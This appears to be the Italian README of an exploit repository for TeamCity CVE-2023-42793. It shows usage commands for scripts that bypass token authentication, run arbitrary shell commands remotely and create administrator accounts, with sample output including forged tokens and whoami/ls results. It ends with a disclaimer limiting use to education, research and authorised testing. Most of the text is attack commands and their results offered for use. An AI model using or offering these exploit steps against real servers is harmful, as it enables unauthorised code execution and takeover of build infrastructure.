
Exploit per TeamCity CVE-2023-42793 che consente l'esecuzione remota di codice e la creazione di account amministratore tramite il bypass dell'autenticazione basato su token.
Esempio di esecuzione di comandi:
python3 exploit.py -u http://localhost
User add token -> eyJ0eXAiOiAiVENWMiJ9.YkZ0V2tzR3NvWXhZelRfZTN0cFF1SkZjVWVz.N2M0Njk2ZTgtNWZhYi00MTU5LWJmZjQtYWU1MDFlYzZiMGY1
Successful execution, preparing for the RCE
Command -> whoami
StdOut:tcuser
StdErr:
Exit code: 0
Time: 16ms
Command -> ls -la /home
StdOut:total 8
drwxr-xr-x 2 root root 4096 Apr 15 2020 .
drwxr-xr-x 1 root root 4096 Feb 28 2024 ..
StdErr:
Exit code: 0
Time: 23ms
Nel caso in cui il token scada, ne verrà creato automaticamente uno nuovo.
Command -> whoami
[-] Token expired, restarting...
[!]Error deleting user
User add token -> eyJ0eXAiOiAiVENWMiJ9.ZVJiSTB6SGZWSEpldzhEa1o4cUdsWFlQRTJJ.NGQxOTg4ZWItNTJmYS00OWM3LWIwYmItZjcyODNkYjg5NTJj
Successful execution, preparing for the RCE
Command -> whoami
StdOut:tcuser
StdErr:
Exit code: 0
Time: 24ms
Creazione username amministratore:
python3 user_add_administrator.py -t http://127.0.0.1 -u cxdxnt -p testing -u [email protected]
User add token -> eyJ0eXAiOiAiVENWMiJ9.Z21xU3ZtTXNYUXE2WGdkaWJCOFV4QWsxN2s0.NmMyZDE0YTItMDQ1OS00NGQ2LTk2YWEtNjg1MTU3ZGNiNjM0
Create username administrator
Nel caso esista già un utente:
python3 user_add.py -t http://127.0.0.1 -u cxdxnt -p testing -u [email protected]
User add token -> eyJ0eXAiOiAiVENWMiJ9.Q3ZFa0ExR2tBcGlSMUZ3ZWNyMUtNN0VPQmFN.Mzk0M2EyZjAtMzVhNi00YTU0LWFmNTctMTg4MThkZmU5MDA3
is already in use by some other user.
Questo repository è destinato esclusivamente a scopi educativi e di ricerca nel campo della sicurezza informatica. L'utilizzo degli script e delle tecniche qui descritte per compromettere sistemi senza autorizzazione è illegale e viola leggi nazionali e internazionali, come la Legge 26.388 (Argentina), il CFAA (USA) e la Convenzione di Budapest.
L'autore non è responsabile per l'uso improprio delle informazioni qui fornite. L'utilizzo di questo materiale è consentito solo in ambienti controllati, laboratori, CTF, o con l'esplicita autorizzazione del proprietario del sistema.
Se intendi effettuare test, assicurati di avere l'autorizzazione. L'hacking senza autorizzazione non è hacking etico, è un reato.